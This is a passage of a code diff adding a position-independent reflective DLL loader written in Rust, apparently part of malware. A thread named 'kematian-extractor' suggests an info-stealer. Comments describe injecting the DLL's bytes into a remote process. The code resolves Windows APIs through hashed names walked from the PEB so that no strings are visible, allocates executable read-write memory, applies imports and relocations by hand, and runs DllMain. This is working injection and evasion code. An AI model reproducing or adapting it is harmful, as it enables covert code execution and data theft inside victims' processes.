if let Some(pipe) = pipe {
|
||||
let mut p = pipe;
|
||||
p.push(0);
|
||||
let _ = std::thread::Builder::new()
|
||||
.name("kematian-extractor".to_string())
|
||||
.spawn(move || unsafe {
|
||||
worker(&p);
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,469 @@
|
||||
//! Position-independent reflective loader, pure Rust (no C).
|
||||
//!
|
||||
//! This is a direct port of the Harmony Security `ReflectiveLoader` approach.
|
||||
//! The injection stubs copy this DLL's raw bytes into a remote process and
|
||||
//! start a thread on the exported `ReflectiveLoader` entry. When that thread
|
||||
//! begins, the copied image is *not* relocated and its imports are *not*
|
||||
//! resolved, so this function must be position independent end to end:
|
||||
//!
|
||||
//! - It never reads relocatable data. All image structures are reached by
|
||||
//! computing addresses at runtime and reading with volatile scalar loads.
|
||||
//! - It resolves `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc`,
|
||||
//! `NtFlushInstructionCache` and `RtlAddFunctionTable` by walking the PEB
|
||||
//! module list and export tables by hand. Module names are matched by a
|
||||
//! rotate hash of *immediate* constants — never through `.rodata` string
|
||||
//! literals, because a RIP-relative load into the file-offset-mapped raw
|
||||
//! copy would read the wrong bytes until the image has been relocated.
|
||||
//! - It copies the image into a fresh RWX allocation, fixes up imports,
|
||||
//! applies relocations, registers `.pdata` for exception unwinding and
|
||||
//! finally invokes the DLL's entry point.
|
||||
//!
|
||||
//! All loops use `wrapping_*` arithmetic and every memory access is volatile
|
||||
//! so the compiler cannot lower any access to a `memcpy`/`memset` libcall or
|
||||
//! introduce a panic edge (both would route through a not-yet-loaded IAT or
|
||||
//! unwinder).
|
||||
|
||||
use core::arch::asm;
|
||||
|
||||
const MEM_RESERVE_COMMIT: u32 = 0x0000_3000;
|
||||
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
|
||||
// rotate-right-by-1 hashes of the names the loader resolves.
|
||||
const KERNEL32_HASH: u32 = 0xC3A0_008F;
|
||||
const NTDLL_HASH: u32 = 0xE600_0091;
|
||||
const LOADLIBRARYA_HASH: u32 = 0x8DC0_0093;
|
||||
const GETPROCADDRESS_HASH: u32 = 0x8708_00A0;
|
||||
const VIRTUALALLOC_HASH: u32 = 0xB800_008F;
|
||||
const NTFLUSH_HASH: u32 = 0xED3A_788A;
|
||||
|
||||
type LoadLibraryFn = unsafe extern "system" fn(name: *const u8) -> usize;
|
||||
type GetProcAddressFn = unsafe extern "system" fn(module: usize, name: *const u8) -> usize;
|
||||
type VirtualAllocFn = unsafe extern "system" fn(
|
||||
addr: usize,
|
||||
size: usize,
|
||||
allocation_type: u32,
|
||||
protect: u32,
|
||||
) -> usize;
|
||||
type NtFlushFn = unsafe extern "system" fn(handle: isize, base: usize, len: usize) -> i32;
|
||||
type RtlAddFunctionTableFn = unsafe extern "system" fn(
|
||||
function_table: usize,
|
||||
entry_count: u32,
|
||||
base_address: u64,
|
||||
) -> i32;
|
||||
type DllMainFn = unsafe extern "system" fn(hinstance: usize, reason: u32, reserved: usize) -> i32;
|
||||
|
||||
// ---- Volatile scalar memory access (never lowered to libcalls) ----
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u8(p: usize, off: usize) -> u8 {
|
||||
core::ptr::read_volatile((p + off) as *const u8)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u16(p: usize, off: usize) -> u16 {
|
||||
core::ptr::read_volatile((p + off) as *const u16)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u32(p: usize, off: usize) -> u32 {
|
||||
core::ptr::read_volatile((p + off) as *const u32)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u64(p: usize, off: usize) -> u64 {
|
||||
core::ptr::read_volatile((p + off) as *const u64)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn wr_u8(p: usize, off: usize, v: u8) {
|
||||
core::ptr::write_volatile((p + off) as *mut u8, v);
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn wr_u64(p: usize, off: usize, v: u64) {
|
||||
core::ptr::write_volatile((p + off) as *mut u64, v);
|
||||
}
|
||||
|
||||
// Unaligned-safe read so the base scan can step byte-by-byte.
|
||||
#[inline(always)]
|
||||
unsafe fn rd_u16_bytes(p: usize) -> u16 {
|
||||
rd_u8(p, 0) as u16 | ((rd_u8(p, 1) as u16) << 8)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn copy_bytes(dst: usize, src: usize, len: usize) {
|
||||
for i in 0..len {
|
||||
core::ptr::write_volatile((dst + i) as *mut u8, core::ptr::read_volatile((src + i) as *const u8));
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Immediate materializers: build byte strings without .rodata ----
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn fill_u64(dst: usize, lit: u64) {
|
||||
wr_u8(dst, 0, (lit & 0xFF) as u8);
|
||||
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
|
||||
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
|
||||
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
|
||||
wr_u8(dst, 4, ((lit >> 32) & 0xFF) as u8);
|
||||
wr_u8(dst, 5, ((lit >> 40) & 0xFF) as u8);
|
||||
wr_u8(dst, 6, ((lit >> 48) & 0xFF) as u8);
|
||||
wr_u8(dst, 7, ((lit >> 56) & 0xFF) as u8);
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
unsafe fn fill_u32(dst: usize, lit: u32) {
|
||||
wr_u8(dst, 0, (lit & 0xFF) as u8);
|
||||
wr_u8(dst, 1, ((lit >> 8) & 0xFF) as u8);
|
||||
wr_u8(dst, 2, ((lit >> 16) & 0xFF) as u8);
|
||||
wr_u8(dst, 3, ((lit >> 24) & 0xFF) as u8);
|
||||
}
|
||||
|
||||
// ---- Position-independent runtime resolution ----
|
||||
|
||||
/// Current instruction pointer, obtained with a RIP-relative LEA so it is
|
||||
/// valid before the image is relocated.
|
||||
#[inline(never)]
|
||||
fn rip_here() -> usize {
|
||||
let ip: usize;
|
||||
unsafe {
|
||||
asm!(
|
||||
"lea {}, [rip]",
|
||||
out(reg) ip,
|
||||
options(nomem, nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
ip
|
||||
}
|
||||
|
||||
/// x64 Process Environment Block via `gs:[0x60]`.
|
||||
#[inline(never)]
|
||||
unsafe fn peb_pointer() -> usize {
|
||||
let peb: usize;
|
||||
unsafe {
|
||||
asm!(
|
||||
"mov {}, qword ptr gs:[0x60]",
|
||||
out(reg) peb,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
peb
|
||||
}
|
||||
|
||||
/// Scan backwards from `start` for the MZ/PE header of the running image.
|
||||
unsafe fn find_image_base(start: usize) -> usize {
|
||||
let mut p = start;
|
||||
loop {
|
||||
if p == 0 {
|
||||
return 0;
|
||||
}
|
||||
if rd_u16_bytes(p) == 0x5A4D {
|
||||
let lfanew = rd_u32(p, 0x3C) as usize;
|
||||
if (0x40..1024).contains(&lfanew) {
|
||||
let nt = p + lfanew;
|
||||
if rd_u32(nt, 0) == 0x0000_4550 {
|
||||
return p;
|
||||
}
|
||||
}
|
||||
}
|
||||
p = p.wrapping_sub(1);
|
||||
}
|
||||
}
|
||||
|
||||
/// Rotate `v` right by one bit.
|
||||
#[inline(always)]
|
||||
fn ror1(v: u32) -> u32 {
|
||||
v.wrapping_shr(1) | v.wrapping_shl(31)
|
||||
}
|
||||
|
||||
/// ror hash of a UTF-16 code-unit buffer (case-normalized).
|
||||
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
while i < nchars {
|
||||
let c = rd_u16(ptr, i * 2);
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add((c - 0x20) as u32);
|
||||
} else {
|
||||
h = h.wrapping_add(c as u32);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
h
|
||||
}
|
||||
|
||||
/// ror hash of a NUL-terminated ASCII string, case-normalized as above.
|
||||
unsafe fn hash_ascii(ptr: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
loop {
|
||||
let c = rd_u8(ptr, i) as u32;
|
||||
if c == 0 {
|
||||
return h;
|
||||
}
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add(c - 0x20);
|
||||
} else {
|
||||
h = h.wrapping_add(c);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
|
||||
/// Walk the loaded-module list for the module whose base-name rotates to
|
||||
/// `want`; returns its base address or 0.
|
||||
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
|
||||
let ldr = rd_u64(peb, 0x18) as usize;
|
||||
if ldr == 0 {
|
||||
return 0;
|
||||
}
|
||||
let head = rd_u64(ldr, 0x20) as usize;
|
||||
if head == 0 {
|
||||
return 0;
|
||||
}
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 {
|
||||
return 0;
|
||||
}
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let name_len = rd_u16(entry, 0x58) as usize;
|
||||
if name_len > 0 {
|
||||
let name_ptr = rd_u64(entry, 0x60) as usize;
|
||||
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
|
||||
return rd_u64(entry, 0x30) as usize;
|
||||
}
|
||||
}
|
||||
let next = rd_u64(entry, 0x10) as usize;
|
||||
if next == head || next == cur {
|
||||
break;
|
||||
}
|
||||
cur = next;
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve an export of `base` by its ror-hashed name; returns its VA or 0.
|
||||
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
|
||||
let lfanew = rd_u32(base, 0x3C) as usize;
|
||||
let dd = base + lfanew + 4 + 20 + 112;
|
||||
let ed_rva = rd_u32(dd, 0) as usize;
|
||||
if ed_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = base + ed_rva;
|
||||
let num_names = rd_u32(ed, 24) as usize;
|
||||
let addr_of_funcs = rd_u32(ed, 28) as usize;
|
||||
let addr_of_names = rd_u32(ed, 32) as usize;
|
||||
let addr_of_ord = rd_u32(ed, 36) as usize;
|
||||
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
|
||||
return 0;
|
||||
}
|
||||
for i in 0..num_names {
|
||||
let name_rva = rd_u32(base + addr_of_names, i * 4) as usize;
|
||||
if hash_ascii(base + name_rva) == want {
|
||||
let ordinal = rd_u16(base + addr_of_ord, i * 2) as usize;
|
||||
let fn_rva = rd_u32(base + addr_of_funcs, ordinal * 4) as usize;
|
||||
if fn_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
return base + fn_rva;
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve an export by ordinal; returns its VA or 0.
|
||||
unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize {
|
||||
let lfanew = rd_u32(base, 0x3C) as usize;
|
||||
let dd = base + lfanew + 4 + 20 + 112;
|
||||
let ed_rva = rd_u32(dd, 0) as usize;
|
||||
if ed_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = base + ed_rva;
|
||||
let export_base = rd_u32(ed, 16) as usize;
|
||||
let num_funcs = rd_u32(ed, 20) as usize;
|
||||
let addr_of_funcs = rd_u32(ed, 28) as usize;
|
||||
if ordinal < export_base as u16 || addr_of_funcs == 0 {
|
||||
return 0;
|
||||
}
|
||||
let idx = ordinal as usize - export_base;
|
||||
if idx >= num_funcs {
|
||||
return 0;
|
||||
}
|
||||
let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize;
|
||||
if fn_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
base + fn_rva
|
||||
}
|
||||
|
||||
// ---- The loader ----
|
||||
|
||||
/// Thread-start routine invoked by the `ReflectiveLoader` export on the
|
||||
/// copied, un-relocated image. Returns the address of the newly loaded DLL's
|
||||
/// entry point, or 0 on failure.
|
||||
#[inline(never)]
|
||||
pub extern "system" fn loader_impl(lpParameter: usize) -> usize {
|
||||
unsafe {
|
||||
// STEP 0: locate our own (un-relocated) image base.
|
||||
let ui_lib = find_image_base(rip_here());
|
||||
if ui_lib == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// STEP 1: resolve the APIs we need by name hash.
|
||||
let peb = peb_pointer();
|
||||
let k32 = module_base_by_hash(peb, KERNEL32_HASH);
|
||||
let ntdll = module_base_by_hash(peb, NTDLL_HASH);
|
||||
if k32 == 0 || ntdll == 0 {
|
||||
return 0;
|
||||
}
|
||||
let p_load = export_by_hash(k32, LOADLIBRARYA_HASH);
|
||||
let p_get_proc = export_by_hash(k32, GETPROCADDRESS_HASH);
|
||||
let p_alloc = export_by_hash(k32, VIRTUALALLOC_HASH);
|
||||
let p_flush = export_by_hash(ntdll, NTFLUSH_HASH);
|
||||
if p_load == 0 || p_get_proc == 0 || p_alloc == 0 {
|
||||
return 0;
|
||||
}
|
||||
let f_load: LoadLibraryFn = core::mem::transmute(p_load);
|
||||
let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc);
|
||||
let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc);
|
||||
let f_flush: NtFlushFn = core::mem::transmute(p_flush);
|
||||
|
||||
// Register .pdata so unwinding through our code does not crash. The
|
||||
// proc-name string is materialized from immediates (no .rodata).
|
||||
let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit();
|
||||
let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize;
|
||||
fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu"
|
||||
fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa"
|
||||
fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0"
|
||||
let p_add_table = f_get_proc(ntdll, name_ptr as *const u8);
|
||||
|
||||
// STEP 2: load the image into a fresh permanent location.
|
||||
let lfanew = rd_u32(ui_lib, 0x3C) as usize;
|
||||
if lfanew == 0 {
|
||||
return 0;
|
||||
}
|
||||
let opt = ui_lib + lfanew + 4 + 20;
|
||||
let image_base = rd_u64(opt, 24) as usize;
|
||||
let size_of_image = rd_u32(opt, 56) as usize;
|
||||
let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if ui_base == 0 {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Copy the headers.
|
||||
copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize);
|
||||
|
||||
// STEP 3: copy all sections.
|
||||
let coff = ui_lib + lfanew + 4;
|
||||
let num_sections = rd_u16(coff, 2) as usize;
|
||||
let opt_size = rd_u16(coff, 16) as usize;
|
||||
let sec = coff + 20 + opt_size;
|
||||
let mut si = 0;
|
||||
while si < num_sections {
|
||||
let s = sec + si * 40;
|
||||
let vaddr = rd_u32(s, 12) as usize;
|
||||
let raw_size = rd_u32(s, 16) as usize;
|
||||
let raw_ptr = rd_u32(s, 20) as usize;
|
||||
copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size);
|
||||
si += 1;
|
||||
}
|
||||
|
||||
// STEP 4: fix up imports.
|
||||
let dd = opt + 112;
|
||||
let imp_rva = rd_u32(dd, 8) as usize;
|
||||
if imp_rva != 0 {
|
||||
let imp = ui_base + imp_rva;
|
||||
let mut di = 0;
|
||||
loop {
|
||||
let desc = imp + di * 20;
|
||||
let name_rva = rd_u32(desc, 12);
|
||||
if name_rva == 0 {
|
||||
break;
|
||||
}
|
||||
let hlib = f_load((ui_base + name_rva as usize) as *const u8);
|
||||
let oft_rva = rd_u32(desc, 0) as usize;
|
||||
let ft_rva = rd_u32(desc, 16) as usize;
|
||||
let mut iat = ui_base + ft_rva;
|
||||
let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 };
|
||||
loop {
|
||||
let thunk = rd_u64(iat, 0);
|
||||
if thunk == 0 {
|
||||
break;
|
||||
}
|
||||
if oft != 0 && (thunk >> 63) == 1 {
|
||||
let ordinal = (thunk & 0xFFFF) as u16;
|
||||
wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64);
|
||||
} else {
|
||||
let name_rva2 = (thunk as u32) as usize;
|
||||
let by_name = ui_base + name_rva2;
|
||||
wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64);
|
||||
}
|
||||
iat += 8;
|
||||
if oft != 0 {
|
||||
oft += 8;
|
||||
}
|
||||
}
|
||||
di += 1;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 5: apply relocations.
|
||||
let reloc_dd = dd + 0x28;
|
||||
let reloc_size = rd_u32(reloc_dd, 4);
|
||||
if reloc_size != 0 {
|
||||
let reloc_rva = rd_u32(reloc_dd, 0) as usize;
|
||||
let delta = ui_base.wrapping_sub(image_base);
|
||||
let mut r = ui_base + reloc_rva;
|
||||
loop {
|
||||
let block_size = rd_u32(r, 4);
|
||||
if block_size == 0 {
|
||||
break;
|
||||
}
|
||||
let target = ui_base + rd_u32(r, 0) as usize;
|
||||
let mut count = (block_size as usize - 8) / 2;
|
||||
let mut e = r + 8;
|
||||
while count > 0 {
|
||||
let word = rd_u16(e, 0) as usize;
|
||||
let typ = (word >> 12) & 0xF;
|
||||
let off = word & 0xFFF;
|
||||
// Only DIR64 (10) needs applying; a single comparison is
|
||||
// used deliberately: a multi-case dispatch lets LLVM emit
|
||||
// a jump table in `.rodata`, whose RIP-relative address
|
||||
// would be wrong in the raw copy.
|
||||
if typ == 10 {
|
||||
let v = rd_u64(target, off).wrapping_add(delta as u64);
|
||||
wr_u64(target, off, v);
|
||||
}
|
||||
e += 2;
|
||||
count -= 1;
|
||||
}
|
||||
r = r + block_size as usize;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 5b: register the exception table (.pdata) with the OS.
|
||||
let exc_dd = dd + 0x30;
|
||||
let exc_rva = rd_u32(exc_dd, 0) as usize;
|
||||
let exc_size = rd_u32(exc_dd, 4) as usize;
|
||||
if p_add_table != 0 && exc_rva != 0 && exc_size != 0 {
|
||||
let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table);
|
||||
let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64);
|
||||
}
|
||||
|
||||
// Flush the instruction cache so relocated code is used.
|
||||
let _ = f_flush(-1, 0, 0);
|
||||
|
||||
// STEP 6: invoke the DLL entry point and return its address.
|
||||
let entry = ui_base + rd_u32(opt, 16) as usize;
|
||||
let f_entry: DllMainFn = core::mem::transmute(entry);
|
||||
let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter);
|
||||
entry
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user